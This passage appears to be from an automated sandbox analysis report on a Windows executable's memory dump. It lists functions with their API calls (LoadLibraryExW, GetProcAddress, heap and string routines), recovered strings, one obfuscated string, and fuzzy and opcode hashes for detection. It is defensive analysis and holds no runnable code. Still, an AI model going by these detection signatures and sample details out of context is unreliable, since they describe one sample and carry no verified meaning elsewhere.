
APIs

LoadLibraryExW.KERNEL32 ref: 00007FF70D70770D
GetLastError.KERNEL32 ref: 00007FF70D70771B
LoadLibraryExW.KERNEL32 ref: 00007FF70D707745
FreeLibrary.KERNEL32 ref: 00007FF70D70778B
GetProcAddress.KERNEL32 ref: 00007FF70D707797

Strings

api-ms-, xrefs: 00007FF70D70772D

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 3b64db676da0105a3fd1e9534eeefdc1044de66b74a200aa4c9ed104eb7e09e9
Instruction ID: 856de968132825dbe1d972197ae2dd9d2b8cf1d1428f589c1b028ad6e0f9e73e
Opcode Fuzzy Hash: 3b64db676da0105a3fd1e9534eeefdc1044de66b74a200aa4c9ed104eb7e09e9
Instruction Fuzzy Hash: 0131CD65B1EB02D1EE29AB16AC00574A694BF4CBA4FD93634DE5D8A790FF7CF0408320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702560, Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 66stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI ref: 00007FF70D702585
StrStrA.SHLWAPI ref: 00007FF70D7025C7
lstrlenA.KERNEL32 ref: 00007FF70D7025D8
StrStrA.SHLWAPI ref: 00007FF70D7025F4
lstrlenA.KERNEL32 ref: 00007FF70D702605
lstrcpynA.KERNEL32 ref: 00007FF70D702633

Strings

http, xrefs: 00007FF70D70257B

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: lstrlen$lstrcpyn
String ID: http
API String ID: 814387622-2541227442
Opcode ID: 3055a968694cddba149361583f5d5969203773de85542e76aed413e486e5cfb9
Instruction ID: 424727496d5675a53827e65e244dfc751b8a252089fda85e16210a932ebd1d6b
Opcode Fuzzy Hash: 3055a968694cddba149361583f5d5969203773de85542e76aed413e486e5cfb9
Instruction Fuzzy Hash: EA21AE56F0E74681EA15AF16EC18274EBA1AF4CBC8FC86471C90E43B95FF2CE5448724

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E2710, Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6E27D6

Strings

(, xrefs: 00007FF70D6E2722
., xrefs: 00007FF70D6E2778
4, xrefs: 00007FF70D6E2754
3, xrefs: 00007FF70D6E2740
(, xrefs: 00007FF70D6E2729

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: ($($.$3$4
API String ID: 190572456-1705217972
Opcode ID: 7f1427c515d0dcacf56a826a68b6555d20266727cb6ecec1ca29fbd22b0533c2
Instruction ID: a278bad7b0c3e3c0d25739ed495e2d66917fdbc5eb42c0b790a5c80e9b574c9b
Opcode Fuzzy Hash: 7f1427c515d0dcacf56a826a68b6555d20266727cb6ecec1ca29fbd22b0533c2
Instruction Fuzzy Hash: DC311A12B0C7C49CF712C3B994083ED2FA1576635CF084698DFA52BBDAC7A94209D762

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7020E0, Relevance: 10.1, APIs: 8, Instructions: 139memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D70210D
lstrlenA.KERNEL32 ref: 00007FF70D70211E
StrStrA.SHLWAPI ref: 00007FF70D702133
StrStrA.SHLWAPI ref: 00007FF70D702191
GetProcessHeap.KERNEL32 ref: 00007FF70D7021DF
HeapReAlloc.KERNEL32 ref: 00007FF70D7021F0
StrStrA.SHLWAPI ref: 00007FF70D702254
StrStrA.SHLWAPI ref: 00007FF70D7022C7

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heaplstrlen$AllocProcess
String ID:
API String ID: 188504188-0
Opcode ID: d27959eeb4f335025949aba785edba72703f4d4cfbb2c13d8ffeb8c5978cf08e
Instruction ID: 1fe4222bfcc37749b43e42351ffa3b59b9434c05c19d4e8299ee99a9bcfcd830
Opcode Fuzzy Hash: d27959eeb4f335025949aba785edba72703f4d4cfbb2c13d8ffeb8c5978cf08e
Instruction Fuzzy Hash: FB5191A7608B85C2EA04AF6AEC4416AA7A1FF48FC8F889031CE4D57759EF3CD145C364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D701FF0, Relevance: 10.1, APIs: 8, Instructions: 68memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D702011
GetProcessHeap.KERNEL32 ref: 00007FF70D702026
HeapAlloc.KERNEL32 ref: 00007FF70D702034
lstrcpyA.KERNEL32 ref: 00007FF70D702048
GetProcessHeap.KERNEL32 ref: 00007FF70D702075
HeapReAlloc.KERNEL32 ref: 00007FF70D702086
lstrcpyA.KERNEL32 ref: 00007FF70D70209E

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AllocProcesslstrcpy$lstrlen
String ID:
API String ID: 999419773-0
Opcode ID: 692e1c592b537d1c3a094691bfe42a0c5c53517414f1ed72f6fdf81e058e6e71
Instruction ID: 5d81fcdaf27996e7402e59ae0298dbe2478199e48156546fdd87224af6f51b21
Opcode Fuzzy Hash: 692e1c592b537d1c3a094691bfe42a0c5c53517414f1ed72f6fdf81e058e6e71
Instruction Fuzzy Hash: 1C21596AA0DB4281EB04EF16EC58229A7A1EF88FC8BC49135CE4E47759EF3CD155C224

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E2D80, Relevance: 10.0, APIs: 8, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6E2D96
HeapFree.KERNEL32 ref: 00007FF70D6E2DA4
GetProcessHeap.KERNEL32 ref: 00007FF70D6E2DB3
HeapFree.KERNEL32 ref: 00007FF70D6E2DC1
GetProcessHeap.KERNEL32 ref: 00007FF70D6E2DD0
HeapFree.KERNEL32 ref: 00007FF70D6E2DDE
GetProcessHeap.KERNEL32 ref: 00007FF70D6E2DED
HeapFree.KERNEL32 ref: 00007FF70D6E2DFB

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 9b73eb7fd986f89ead355385918b392f8ed8749be4ec8d6d7f001202c5105688
Instruction ID: 248d8ef361454a6f179e36179b908f631d9bbc4101cd0c85246501ddb2e5b891
Opcode Fuzzy Hash: 9b73eb7fd986f89ead355385918b392f8ed8749be4ec8d6d7f001202c5105688
Instruction Fuzzy Hash: 75011B69E0DB4381EB08EBABFE04165D266AF4CFD9B995234CE0D03718BF2CD0458220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D705018, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 151COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF70D705043
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF70D7050D8
RtlUnwindEx.NTDLL ref: 00007FF70D705127

Strings

csm, xrefs: 00007FF70D7050BE
f, xrefs: 00007FF70D705056

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: be55abbb9a4a649792f108247da100172517ce45342c64cedcef3fb595aabeca
Instruction ID: 048a061b44b42d5853b86451bff7a7fcb13857261f54c209e074e612a8db37e0
Opcode Fuzzy Hash: be55abbb9a4a649792f108247da100172517ce45342c64cedcef3fb595aabeca
Instruction Fuzzy Hash: 89519135A1E751C6E714EF15DD04A69BB91FF08BD8F919130DE5A87788EF38E8408B60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D709100, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF70D70911C
GetProcAddress.KERNEL32 ref: 00007FF70D709132
FreeLibrary.KERNEL32 ref: 00007FF70D70914F

Strings

CorExitProcess, xrefs: 00007FF70D70912B
mscoree.dll, xrefs: 00007FF70D709113

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a27e6fbf53f57ae7ef808f337c81e004a6d865a512cc31ab99bb5e4557507bcd
Instruction ID: f856e0b6905307e2a3a23aba8f89d1c33227f535859d080ff63feafc8c03112f
Opcode Fuzzy Hash: a27e6fbf53f57ae7ef808f337c81e004a6d865a512cc31ab99bb5e4557507bcd
Instruction Fuzzy Hash: D8F03065B1D74281EF54AB64EC443749760AF8CB54FC43139E60F456A1EF7CD488C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D708820, Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70D708844
CreateThread.KERNEL32 ref: 00007FF70D708885
GetLastError.KERNEL32 ref: 00007FF70D708893
CloseHandle.KERNEL32 ref: 00007FF70D7088B0
FreeLibrary.KERNEL32 ref: 00007FF70D7088BF

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: b378864d64efe880bfec233704a9ce7ea6a622f3f2c6eddd6888f20691e2a6d3
Instruction ID: e9aa4dbe21414181be1e6641e7ea14ef93bc087b766c07d0ad2f0ee0a28d115e
Opcode Fuzzy Hash: b378864d64efe880bfec233704a9ce7ea6a622f3f2c6eddd6888f20691e2a6d3
Instruction Fuzzy Hash: 4A218E25A1DB52C2EE04FB65AC1007AEB90AF9CB94F841535DE0D83BD5FF3CE4008621

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D71105C, Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF70D711084
_set_statfp.LIBCMT ref: 00007FF70D71109F
_set_statfp.LIBCMT ref: 00007FF70D7110BB
_set_statfp.LIBCMT ref: 00007FF70D7110F7

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction ID: dd116ec9a878c59b04aa3c9288a6d79705a31f5293c992de0820295e3444f56f
Opcode Fuzzy Hash: 69d38c35bd33e64192705e47d806ebaffe6519085bb8d16871af39b095092657
Instruction Fuzzy Hash: C511192EE1CB8702F664316DA94637A90416F58360FD8AB34EF6E1E7DABF5DA8404120

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7060A0, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF70D706110
_CallSETranslator.LIBVCRUNTIME ref: 00007FF70D70615B

Strings

RCC, xrefs: 00007FF70D70612C
MOC, xrefs: 00007FF70D706124

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: ab36b770f7cc847d8531dc68f8c3dd39a2762d4dcd4f0ae273f4c0b7f95efd4e
Instruction ID: 7a1f8501d49a6699501695de835864637e9f9156ecd92e808d32b98aa193172d
Opcode Fuzzy Hash: ab36b770f7cc847d8531dc68f8c3dd39a2762d4dcd4f0ae273f4c0b7f95efd4e
Instruction Fuzzy Hash: 3691A073A08781CAE710EF65EC502ADBBA0FB08788F50512AEE4D97795EF38D1A5C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F0240, Relevance: 6.4, APIs: 5, Instructions: 108stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI ref: 00007FF70D6F0274
lstrlenA.KERNEL32 ref: 00007FF70D6F0282
lstrcpynA.KERNEL32 ref: 00007FF70D6F02A2
lstrcmpA.KERNEL32 ref: 00007FF70D6F02F9
lstrcmpA.KERNEL32 ref: 00007FF70D6F034C

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: lstrcmp$lstrcpynlstrlen
String ID:
API String ID: 2573362024-0
Opcode ID: b79ff5fe365a98f5093523dc1781e20bb6acad0b76daa57019712ebb8276c31e
Instruction ID: 23953ada08fbd14b4aaf8ffa69aa136701a22206b424e55cec18f2df0063ed84
Opcode Fuzzy Hash: b79ff5fe365a98f5093523dc1781e20bb6acad0b76daa57019712ebb8276c31e
Instruction Fuzzy Hash: 4441D422F0C7C189F7109B79C8143BD7BA29F45788F940039DA8D5BA8AEF7D90458321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E48A0, Relevance: 6.3, APIs: 5, Instructions: 70memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6EC5E0: GetProcAddress.KERNEL32 ref: 00007FF70D6EC686

GetProcessHeap.KERNEL32 ref: 00007FF70D6E48F5
HeapAlloc.KERNEL32 ref: 00007FF70D6E4903
GetProcessHeap.KERNEL32 ref: 00007FF70D6E4938
HeapFree.KERNEL32 ref: 00007FF70D6E4946
lstrlenA.KERNEL32 ref: 00007FF70D6E496F

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AddressAllocFreeProclstrlen
String ID:
API String ID: 2065100370-0
Opcode ID: 60d25179b48aabaaea2a2bab1a1b44561c960a3d47f7a746c7a5c89de0f84358
Instruction ID: 5d38e333f7cc450389efa9d57f4dc66e579ba43b408faa03e9f6c26764748fcb
Opcode Fuzzy Hash: 60d25179b48aabaaea2a2bab1a1b44561c960a3d47f7a746c7a5c89de0f84358
Instruction Fuzzy Hash: 31215E22A1CB4281E620EB66F84016AE7A5FF8DBD8F851135EA8D83755FF3DD0458710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EEA40, Relevance: 6.2, APIs: 4, Instructions: 202libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6EEB25
GetProcAddress.KERNEL32 ref: 00007FF70D6EEC04
GetProcAddress.KERNEL32 ref: 00007FF70D6EECC4
GetProcAddress.KERNEL32 ref: 00007FF70D6EED35

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: d32b45e5118ba1ec0fc7943458dcb4106f3efdbf404adb5880ec08d5bb865fc8
Instruction ID: 5f73fa03bc540ab9707f186ce20b1f8278812303412fb5df2308f41bdf0d550a
Opcode Fuzzy Hash: d32b45e5118ba1ec0fc7943458dcb4106f3efdbf404adb5880ec08d5bb865fc8
Instruction Fuzzy Hash: 9C918022B1C7C08DF711DB75D4443AD7BA2AB1A78CF484465EE8A17B8AEF7E95048321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7027D0, Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 159stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D70282B
lstrlenA.KERNEL32 ref: 00007FF70D70293A
wsprintfA.USER32 ref: 00007FF70D702983

Strings

[%u], xrefs: 00007FF70D702974

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: lstrlen$wsprintf
String ID: [%u]
API String ID: 1220175532-1146909518
Opcode ID: b0aa9d45b025a02d11cfd0c915c06425b2e07bfd96f69d5d1d6271058a706b1c
Instruction ID: ed7e7e0b43e03850181e5923a21364c269a106e12f47e0650fc26f21c7bbb23b
Opcode Fuzzy Hash: b0aa9d45b025a02d11cfd0c915c06425b2e07bfd96f69d5d1d6271058a706b1c
Instruction Fuzzy Hash: 0B51E332A1CB8982D611AF19EC4426AB7A8FF5D7C8F855231EA8D83796EF3CD1418714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702D20, Relevance: 6.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF70D702D65
GetProcessHeap.KERNEL32 ref: 00007FF70D702D6E
HeapAlloc.KERNEL32 ref: 00007FF70D702D7C
WideCharToMultiByte.KERNEL32 ref: 00007FF70D702DA7

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: ByteCharHeapMultiWide$AllocProcess
String ID:
API String ID: 1432973188-0
Opcode ID: 380e51ed5fb2c72fe52ff407ff6ea7c7f5f821d76a3145601477de6795e98255
Instruction ID: 28201f06e173d980730209a32557d9e6e3a50825170b51fe4870295c471d370c
Opcode Fuzzy Hash: 380e51ed5fb2c72fe52ff407ff6ea7c7f5f821d76a3145601477de6795e98255
Instruction Fuzzy Hash: 49116A36A08B4182E714DF5BBC48859BBA8FB88FC0B999139DF9943724EF38D452C704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D706614, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF70D70663E

Strings

csm, xrefs: 00007FF70D706663
csm, xrefs: 00007FF70D7067D2

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: d939f07a2d8e742e45262d16546085db42ea9ae3158445d467194ed60b553964
Instruction ID: f2bf18b9de3a3523728c912e2abeda2d5ed8f91aa42fe478b55c9c94a41364ce
Opcode Fuzzy Hash: d939f07a2d8e742e45262d16546085db42ea9ae3158445d467194ed60b553964
Instruction Fuzzy Hash: 1D71AF7290C791CADB61AF219C6067DBEA0EF48F88F44A135DA4C87AC5EF2CE460C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D706A58, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF70D706B02
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF70D706B2E

Strings

csm, xrefs: 00007FF70D706C2E

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: a7c649d78f6d2359bb1f566330969767fca0ee67df5a1671951e7d73f0822f1e
Instruction ID: 79b9fb319d7a68e6de2c33ec2c6af5f19fa93e78661315bea4a9bb1f9f3ef195
Opcode Fuzzy Hash: a7c649d78f6d2359bb1f566330969767fca0ee67df5a1671951e7d73f0822f1e
Instruction Fuzzy Hash: 22515B3361C745C6D620BB25E84126EBBA5FB88B90F542135EB8D87B95EF38E461CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EDA90, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6EDB38

Strings

jjXR\YiJ^cS]PZ[7, xrefs: 00007FF70D6EDB07
jjXR\YiJ^cS]PZ[7, xrefs: 00007FF70D6EDB28

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressProc
String ID: jjXR\YiJ^cS]PZ[7$jjXR\YiJ^cS]PZ[7
API String ID: 190572456-1727882641
Opcode ID: a2f63b1d8e6c532ad706177b4681b581e6cec01c869f86d93733913c93d34062
Instruction ID: 0ff260a9e13bdbbbacb9f410ebe2d36884326c532e2783af12866744e6219fa0
Opcode Fuzzy Hash: a2f63b1d8e6c532ad706177b4681b581e6cec01c869f86d93733913c93d34062
Instruction Fuzzy Hash: DB319022B2C7D08CF301D77998543AD3FA1AB1A74CF480059DF992BB8ADB698109CB75

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D713270, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF70D713382

Strings

pow, xrefs: 00007FF70D713371
", xrefs: 00007FF70D71335B

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: _handle_error
String ID: "$pow
API String ID: 1757819995-713443511
Opcode ID: a99fdb3038c396d69c0d2e9bd26f917e4a34c420c0919121cec5cfd4e5d7662a
Instruction ID: 9d46ace8189731b234f3c984582cd548f79f9ad9972c18f4f3eb0ba889ec06a5
Opcode Fuzzy Hash: a99fdb3038c396d69c0d2e9bd26f917e4a34c420c0919121cec5cfd4e5d7662a
Instruction Fuzzy Hash: 6B216F76D1CB8487E370DF18E84066AEAA0FFDE344F502325F68906A54DFBDD1459B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70B29C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF70D70B2D5
LCMapStringW.KERNEL32 ref: 00007FF70D70B35D

Strings

LCMapStringEx, xrefs: 00007FF70D70B2B8, 00007FF70D70B2C9

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 6bce15cdcbfca7eb4fb7a6c1e2b74351521e895185a90589887e6ac77c83c3e7
Instruction ID: 189627cf694908a87cfecbf75235f6d15c33d72ca3f911173303bc180def3d35
Opcode Fuzzy Hash: 6bce15cdcbfca7eb4fb7a6c1e2b74351521e895185a90589887e6ac77c83c3e7
Instruction Fuzzy Hash: 39113B3660CB8186D760DB56F8402AAF7A4FB8DB84F945136EE8D83B59DF3CD5048B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70B238, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF70D70B269
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF70D70B283

Strings

InitializeCriticalSectionEx, xrefs: 00007FF70D70B25D

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: a196cf3524c2d5d71c832c8491c89108a09fea7c430bdf6f8e6d4547b07bf9ee
Instruction ID: 86c78f5f298ff47de0e10c1717ba1849163413d0bd1b24958e86569ebe9265ba
Opcode Fuzzy Hash: a196cf3524c2d5d71c832c8491c89108a09fea7c430bdf6f8e6d4547b07bf9ee
Instruction Fuzzy Hash: 40F05E29A1C781C1EA54AB95BC400A9E661BF4CB80FD86236EE1E53B94EF3CD545C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D70B1E4, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF70D70B20D
TlsSetValue.KERNEL32 ref: 00007FF70D70B224

Strings

FlsSetValue, xrefs: 00007FF70D70B1FA

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 15456db17fcf0170fc8eb2d3a578a8f0b531b10bf4d02f3b0e838bfb2205cbef
Instruction ID: 9a08cc6a4e70ddd6e161aee0ae58a1d35a6b393714f0d639fc53c78aa28da6aa
Opcode Fuzzy Hash: 15456db17fcf0170fc8eb2d3a578a8f0b531b10bf4d02f3b0e838bfb2205cbef
Instruction Fuzzy Hash: 01E06565A0C742D1EA147B54FC000B8E222AF4D780FD86236D92D46394EF3CD584C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E8870, Relevance: 5.2, APIs: 4, Instructions: 153memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00007FF70D6E88EF
lstrlenA.KERNEL32 ref: 00007FF70D6E890B
GetProcessHeap.KERNEL32 ref: 00007FF70D6E891A
HeapAlloc.KERNEL32 ref: 00007FF70D6E8928

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AllocProcesslstrlenwsprintf
String ID:
API String ID: 993676913-0
Opcode ID: 8d976f5fcf192aceff830eef7890395b7d0a77cd41970cc6ebd2a0abaa21719d
Instruction ID: 76ca85651f70a32caf4be3444e0177ccd4cf96e7ababc254b5bded01f6861437
Opcode Fuzzy Hash: 8d976f5fcf192aceff830eef7890395b7d0a77cd41970cc6ebd2a0abaa21719d
Instruction Fuzzy Hash: B6619163B096D18EF701CBB5D9442AD7FB2AB1A78CF440169DF8967B4ADA389119C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D702A30, Relevance: 5.1, APIs: 4, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D7027D0: lstrlenA.KERNEL32 ref: 00007FF70D70282B

GetProcessHeap.KERNEL32 ref: 00007FF70D702A78
HeapAlloc.KERNEL32 ref: 00007FF70D702A88

Part of subcall function 00007FF70D7027D0: lstrlenA.KERNEL32 ref: 00007FF70D70293A
Part of subcall function 00007FF70D7027D0: wsprintfA.USER32 ref: 00007FF70D702983

GetProcessHeap.KERNEL32 ref: 00007FF70D702AC2
HeapFree.KERNEL32 ref: 00007FF70D702AD0

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Processlstrlen$AllocFreewsprintf
String ID:
API String ID: 4274851876-0
Opcode ID: 03a5ecafba838e179acdfc03838d569a1fcde886cfc8b1d1981db903aedbede3
Instruction ID: efd7e43e5a298ca09f64c752bb07dc5c58d4f7d0b5f04977b99b3e9ea488b803
Opcode Fuzzy Hash: 03a5ecafba838e179acdfc03838d569a1fcde886cfc8b1d1981db903aedbede3
Instruction Fuzzy Hash: BF218E66A08F4685E611EF2AED052A9A760FF8DBD4F85A131DF4D43712FF38E192C210

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D7022E0, Relevance: 5.1, APIs: 4, Instructions: 51memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D702310
GetProcessHeap.KERNEL32 ref: 00007FF70D70231D
HeapAlloc.KERNEL32 ref: 00007FF70D70232B
lstrcpyA.KERNEL32 ref: 00007FF70D702341

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AllocProcesslstrcpylstrlen
String ID:
API String ID: 2988581199-0
Opcode ID: 9b2cf84b4eb221d76cc7ebe9c527ae8778d14b37f666ea3aeadff073f2bed708
Instruction ID: 7397cd5a825957fa0807dafe57f26a50262b63cfeb544cffde7703b0c0baf6ed
Opcode Fuzzy Hash: 9b2cf84b4eb221d76cc7ebe9c527ae8778d14b37f666ea3aeadff073f2bed708
Instruction Fuzzy Hash: 81114D22A1DF8185EA50DB15FC4416AE7A4FF8CB84F886134EA8E46759FF3CD1418610

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F1F40, Relevance: 5.0, APIs: 4, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF70D6F1F7F
HeapFree.KERNEL32 ref: 00007FF70D6F1F8D
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1FAB
HeapFree.KERNEL32 ref: 00007FF70D6F1FB9

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

